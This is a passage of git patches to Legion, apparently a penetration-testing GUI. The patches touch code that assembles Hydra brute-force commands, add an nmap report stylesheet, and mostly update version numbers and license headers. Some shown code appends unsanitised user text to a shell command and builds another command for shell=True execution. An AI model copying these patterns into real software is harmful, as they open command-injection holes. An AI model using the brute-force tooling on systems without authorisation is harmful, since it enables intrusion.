self.port + "-" + self.service + ".txt" + self.outputfile = runningfolder + "/hydra/" + getTimestamp() + "-" + str(self.ip) + "-" + self.port + "-" + \ + self.service + ".txt" self.command += "\"" + self.outputfile + "\"" if 'form' not in str(self.service): @@ -377,9 +384,9 @@ def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): self.command += " " + self.service -# if self.labelPath.isVisible(): # append the additional field's content, if it was visible +# if self.labelPath.isVisible(): # append the additional field's content, if it was visible if self.checkAddMoreOptions.isChecked(): - self.command += " "+str(self.labelPath.text()) # TODO: sanitise this? + self.command += " "+str(self.labelPath.text()) # TODO: sanitise this? #command = "echo "+escaped_password+" > /tmp/hydra-sub.txt" #os.system(unicode(command)) @@ -394,7 +401,7 @@ def toggleRunButton(self): else: self.runButton.setText('Run') - def resetDisplay(self): # used to be able to display the tool output in both the Brute tab and the tool display panel + def resetDisplay(self): self.display.setParent(None) self.display = QtWidgets.QPlainTextEdit() self.display.setReadOnly(True) @@ -470,8 +477,9 @@ def setupLayout(self): self.setLayout(layout) def getFilters(self): - #return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), self.portsTcp.isChecked(), self.portsUdp.isChecked(), str(self.hostKeywordText.text()).split()] - return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), self.portsTcp.isChecked(), self.portsUdp.isChecked(), unicode(self.hostKeywordText.text()).split()] + return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), \ + self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), \ + self.portsTcp.isChecked(), self.portsUdp.isChecked(), unicode(self.hostKeywordText.text()).split()] def setCurrentFilters(self, filters): if not self.hostsUp.isChecked() == filters[0]: From 5263d70e7957c0e3dc512353b356214675d7b547 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Feb 2020 05:42:57 -0600 Subject: [PATCH 354/450] Address test failures --- app/importers/PythonImporter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/importers/PythonImporter.py b/app/importers/PythonImporter.py index 84c971c4..a514a03d 100644 --- a/app/importers/PythonImporter.py +++ b/app/importers/PythonImporter.py @@ -50,7 +50,7 @@ def setPythonScript(self, pythonScript): def setOutput(self, output): self.output = output - def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing + def run(self): # it is necessary to get the qprocess to send it back to the scheduler when we're done try: session = self.db.session() startTime = time() From 32b329bca844e11620ffb85b67f6313ca09d8209 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Feb 2020 05:59:28 -0600 Subject: [PATCH 355/450] Backport some changes present in master only --- CHANGELOG.txt | 4 + CONTRIBUTING.md | 2 +- app/ApplicationInfo.py | 14 +- app/ModelHelpers.py | 2 +- app/Project.py | 4 +- app/ProjectManager.py | 4 +- app/Screenshooter.py | 2 +- app/actions/AbstractObservable.py | 4 +- app/actions/AbstractObserver.py | 4 +- .../AbstractUpdateProgressObservable.py | 4 +- .../AbstractUpdateProgressObserver.py | 4 +- .../UpdateProgressObservable.py | 4 +- app/auxiliary.py | 4 +- app/cvemodels.py | 4 +- app/hostmodels.py | 4 +- app/http/isHttps.py | 4 +- app/importers/NmapImporter.py | 4 +- app/importers/PythonImporter.py | 8 +- app/importers/__init__.py | 4 +- app/logging/legionLog.py | 4 +- app/logic.py | 4 +- app/processmodels.py | 4 +- app/scriptmodels.py | 2 +- app/servicemodels.py | 4 +- app/settings.py | 4 +- app/timing.py | 4 +- app/tools/ToolCoordinator.py | 4 +- app/tools/nmap/DefaultNmapExporter.py | 7 +- app/tools/nmap/NmapExporter.py | 4 +- app/tools/nmap/NmapHelpers.py | 4 +- app/tools/nmap/NmapPaths.py | 4 +- controller/controller.py | 2 +- db/RepositoryContainer.py | 4 +- db/RepositoryFactory.py | 4 +- db/database.py | 4 +- db/entities/app.py | 4 +- db/entities/cve.py | 4 +- db/entities/host.py | 4 +- db/entities/l1script.py | 4 +- db/entities/nmapSession.py | 4 +- db/entities/note.py | 4 +- db/entities/os.py | 4 +- db/entities/port.py | 4 +- db/entities/process.py | 4 +- db/entities/processOutput.py | 4 +- db/entities/service.py | 4 +- db/filters.py | 4 +- db/repositories/CVERepository.py | 4 +- db/repositories/HostRepository.py | 4 +- db/repositories/NoteRepository.py | 4 +- db/repositories/PortRepository.py | 4 +- db/repositories/ProcessRepository.py | 4 +- db/repositories/ScriptRepository.py | 4 +- db/repositories/ServiceRepository.py | 4 +- db/validation.py | 4 +- deps/installDeps.sh | 2 +- legion.conf | 14 +- legion.py | 3 +- nmap.xsl | 1071 +++++++++++++++++ parsers/examples/HostExample.py | 4 +- parsers/examples/OsExample.py | 4 +- parsers/examples/ParserExample.py | 4 +- parsers/examples/ScriptExample.py | 4 +- parsers/examples/ServiceExample.py | 4 +- parsers/examples/SessionExample.py | 4 +- parsers/examples/__init__.py | 4 +- precommit.sh | 4 +- requirements.txt | 2 +- .../test_UpdateProgressObservable.py | 4 +- tests/app/http/test_isHttps.py | 4 +- tests/app/shell/test_DefaultShell.py | 4 +- tests/app/test_ModelHelpers.py | 2 +- tests/app/test_ProjectManager.py | 4 +- tests/app/test_Timing.py | 4 +- .../tools/nmap/test_DefaultNmapExporter.py | 8 +- tests/app/tools/nmap/test_NmapHelpers.py | 4 +- tests/app/tools/test_ToolCoordinator.py | 4 +- tests/db/repositories/test_CVERepository.py | 4 +- tests/db/repositories/test_HostRepository.py | 4 +- tests/db/repositories/test_NoteRepository.py | 4 +- tests/db/repositories/test_PortRepository.py | 2 +- .../db/repositories/test_ProcessRepository.py | 4 +- .../db/repositories/test_ServiceRepository.py | 4 +- tests/db/test_filters.py | 4 +- tests/db/test_validation.py | 4 +- .../test_QtUpdateProgressObserver.py | 4 +- tests/ui/test_eventfilter.py | 4 +- ui/ViewHeaders.py | 4 +- ui/ViewState.py | 4 +- ui/addHostDialog.py | 4 +- ui/ancillaryDialog.py | 4 +- ui/configDialog.py | 4 +- ui/dialogs.py | 46 +- ui/eventfilter.py | 4 +- ui/gui.py | 2 +- ui/helpDialog.py | 4 +- ui/observers/QtUpdateProgressObserver.py | 4 +- ui/settingsDialog.py | 4 +- ui/view.py | 649 ++++++---- 99 files changed, 1693 insertions(+), 467 deletions(-) create mode 100644 nmap.xsl diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 18884e71..4ab2127b 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,3 +1,7 @@ +LEGION 0.3.6 + +* Significant code refactoring + LEGION 0.3.5 * Bug Fixes diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 9dab01b7..eba3e14a 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -29,7 +29,7 @@ Are you interested in contributing to Legion? We love contributors! We ask that #### Do you have a general question? -* If you have any questions not related to legion's code, features, or bugs use support@gvit.com +* If you have any questions not related to legion's code, features, or bugs use support@govanguard.com diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index cb926734..bd60fe74 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -18,13 +18,13 @@ applicationInfo = { "name": "LEGION", - "version": "0.3.5", - "build": "1565621036", + "version": "0.3.6", + "build": '1580902879', "author": "GoVanguard", - "copyright": "2019", - "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.io/legion"], + "copyright": "2020", + "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], "emails": [], - "update": "08/12/2019", + "update": '02/05/2020', "license": "GPL v3", "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + "super-extensible and semi-automated network penetration testing tool that aids in " + diff --git a/app/ModelHelpers.py b/app/ModelHelpers.py index e6ff13ab..1d86b171 100644 --- a/app/ModelHelpers.py +++ b/app/ModelHelpers.py @@ -1,5 +1,5 @@ """ -LEGION (https://govanguard.io) +LEGION (https://govanguard.com) Copyright (c) 2019 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public diff --git a/app/Project.py b/app/Project.py index d14872c6..02586373 100644 --- a/app/Project.py +++ b/app/Project.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/ProjectManager.py b/app/ProjectManager.py index b3e5a6e4..79e2cd5c 100644 --- a/app/ProjectManager.py +++ b/app/ProjectManager.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/Screenshooter.py b/app/Screenshooter.py index e43c61c2..89c703dc 100644 --- a/app/Screenshooter.py +++ b/app/Screenshooter.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2018 GoVanguard +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/AbstractObservable.py b/app/actions/AbstractObservable.py index f9919306..066bf64c 100644 --- a/app/actions/AbstractObservable.py +++ b/app/actions/AbstractObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/AbstractObserver.py b/app/actions/AbstractObserver.py index bbc04713..0039514e 100644 --- a/app/actions/AbstractObserver.py +++ b/app/actions/AbstractObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/updateProgress/AbstractUpdateProgressObservable.py b/app/actions/updateProgress/AbstractUpdateProgressObservable.py index e38d084b..a29ac119 100644 --- a/app/actions/updateProgress/AbstractUpdateProgressObservable.py +++ b/app/actions/updateProgress/AbstractUpdateProgressObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/updateProgress/AbstractUpdateProgressObserver.py b/app/actions/updateProgress/AbstractUpdateProgressObserver.py index aa66ecee..71620b86 100644 --- a/app/actions/updateProgress/AbstractUpdateProgressObserver.py +++ b/app/actions/updateProgress/AbstractUpdateProgressObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/actions/updateProgress/UpdateProgressObservable.py b/app/actions/updateProgress/UpdateProgressObservable.py index 06ba6bb4..a1166682 100644 --- a/app/actions/updateProgress/UpdateProgressObservable.py +++ b/app/actions/updateProgress/UpdateProgressObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/auxiliary.py b/app/auxiliary.py index 7d0cc818..be899e0c 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/cvemodels.py b/app/cvemodels.py index 8a6898ac..105d7772 100644 --- a/app/cvemodels.py +++ b/app/cvemodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/hostmodels.py b/app/hostmodels.py index 3617523c..c8e15b14 100644 --- a/app/hostmodels.py +++ b/app/hostmodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/http/isHttps.py b/app/http/isHttps.py index 61d94dbf..62d232df 100644 --- a/app/http/isHttps.py +++ b/app/http/isHttps.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 7df7c644..21ed58fe 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/importers/PythonImporter.py b/app/importers/PythonImporter.py index 61b4fa87..a514a03d 100644 --- a/app/importers/PythonImporter.py +++ b/app/importers/PythonImporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -19,7 +19,7 @@ from db.entities.host import hostObj from scripts.python import pyShodan, macvendors -from ui.ancillaryDialog import time +from time import time class PythonImporter(QtCore.QThread): @@ -50,7 +50,7 @@ def setPythonScript(self, pythonScript): def setOutput(self, output): self.output = output - def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing + def run(self): # it is necessary to get the qprocess to send it back to the scheduler when we're done try: session = self.db.session() startTime = time() diff --git a/app/importers/__init__.py b/app/importers/__init__.py index bcdbc64c..c1f1c80d 100644 --- a/app/importers/__init__.py +++ b/app/importers/__init__.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/logging/legionLog.py b/app/logging/legionLog.py index 38da8153..da3ee515 100644 --- a/app/logging/legionLog.py +++ b/app/logging/legionLog.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/logic.py b/app/logic.py index ba443543..e592cfa7 100644 --- a/app/logic.py +++ b/app/logic.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/processmodels.py b/app/processmodels.py index 45db0b82..c66726da 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/scriptmodels.py b/app/scriptmodels.py index 0de95f8f..59ecd22f 100644 --- a/app/scriptmodels.py +++ b/app/scriptmodels.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2018 GoVanguard +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/servicemodels.py b/app/servicemodels.py index b6128f1f..6143d370 100644 --- a/app/servicemodels.py +++ b/app/servicemodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/settings.py b/app/settings.py index fcc8f337..ecd05a28 100644 --- a/app/settings.py +++ b/app/settings.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/timing.py b/app/timing.py index 2a68c51c..4af799db 100644 --- a/app/timing.py +++ b/app/timing.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/tools/ToolCoordinator.py b/app/tools/ToolCoordinator.py index 9b346dc8..7146005d 100644 --- a/app/tools/ToolCoordinator.py +++ b/app/tools/ToolCoordinator.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/tools/nmap/DefaultNmapExporter.py b/app/tools/nmap/DefaultNmapExporter.py index 04fa4c48..47f220ee 100644 --- a/app/tools/nmap/DefaultNmapExporter.py +++ b/app/tools/nmap/DefaultNmapExporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -21,6 +21,7 @@ from app.shell.Shell import Shell from app.timing import timing from app.tools.nmap.NmapExporter import NmapExporter +import os class DefaultNmapExporter(NmapExporter): @@ -30,7 +31,7 @@ def __init__(self, shell: Shell): @timing def exportOutputToHtml(self, fileName: str, outputFolder: str) -> None: try: - command = f"xsltproc -o {fileName}.html {fileName}.xml" + command = f"xsltproc -o {fileName}.html nmap.xsl {fileName}.xml" p = subprocess.Popen(command, shell=True) p.wait() self.shell.move(f"{fileName}.html", outputFolder) diff --git a/app/tools/nmap/NmapExporter.py b/app/tools/nmap/NmapExporter.py index fa6cf5b4..2604bdcb 100644 --- a/app/tools/nmap/NmapExporter.py +++ b/app/tools/nmap/NmapExporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/tools/nmap/NmapHelpers.py b/app/tools/nmap/NmapHelpers.py index ffaecea8..86bb7173 100644 --- a/app/tools/nmap/NmapHelpers.py +++ b/app/tools/nmap/NmapHelpers.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/app/tools/nmap/NmapPaths.py b/app/tools/nmap/NmapPaths.py index 9205e539..40ed457e 100644 --- a/app/tools/nmap/NmapPaths.py +++ b/app/tools/nmap/NmapPaths.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/controller/controller.py b/controller/controller.py index f5d3d71e..6762a48b 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ LEGION (https://govanguard.com) -Copyright (c) 2018 GoVanguard +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/RepositoryContainer.py b/db/RepositoryContainer.py index 93e7b5d7..e36d3252 100644 --- a/db/RepositoryContainer.py +++ b/db/RepositoryContainer.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/RepositoryFactory.py b/db/RepositoryFactory.py index 5f40fce3..87f2caf3 100644 --- a/db/RepositoryFactory.py +++ b/db/RepositoryFactory.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/database.py b/db/database.py index 7d85ebee..c62ed3c4 100644 --- a/db/database.py +++ b/db/database.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/app.py b/db/entities/app.py index 9fd64195..8fc59e05 100644 --- a/db/entities/app.py +++ b/db/entities/app.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/cve.py b/db/entities/cve.py index d6001c4b..4b8059b3 100644 --- a/db/entities/cve.py +++ b/db/entities/cve.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/host.py b/db/entities/host.py index 3e92ebcf..13ccde0d 100644 --- a/db/entities/host.py +++ b/db/entities/host.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/l1script.py b/db/entities/l1script.py index 81f00093..e4ad151c 100644 --- a/db/entities/l1script.py +++ b/db/entities/l1script.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/nmapSession.py b/db/entities/nmapSession.py index d2574160..7b7c1c35 100644 --- a/db/entities/nmapSession.py +++ b/db/entities/nmapSession.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/note.py b/db/entities/note.py index 806b196f..e785d93f 100644 --- a/db/entities/note.py +++ b/db/entities/note.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/os.py b/db/entities/os.py index 39b32aae..531bd51d 100644 --- a/db/entities/os.py +++ b/db/entities/os.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/port.py b/db/entities/port.py index 1490c89b..f59a457e 100644 --- a/db/entities/port.py +++ b/db/entities/port.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/process.py b/db/entities/process.py index 519a8a6e..b9c40b23 100644 --- a/db/entities/process.py +++ b/db/entities/process.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/processOutput.py b/db/entities/processOutput.py index f0ecb25b..1f8a8420 100644 --- a/db/entities/processOutput.py +++ b/db/entities/processOutput.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/entities/service.py b/db/entities/service.py index ab009d80..e5c9ff97 100644 --- a/db/entities/service.py +++ b/db/entities/service.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/filters.py b/db/filters.py index 8a1cb6b7..d8bb1d6e 100644 --- a/db/filters.py +++ b/db/filters.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/CVERepository.py b/db/repositories/CVERepository.py index e40186c3..65ab17ad 100644 --- a/db/repositories/CVERepository.py +++ b/db/repositories/CVERepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/db/repositories/HostRepository.py b/db/repositories/HostRepository.py index b3d19acb..db1044df 100644 --- a/db/repositories/HostRepository.py +++ b/db/repositories/HostRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, 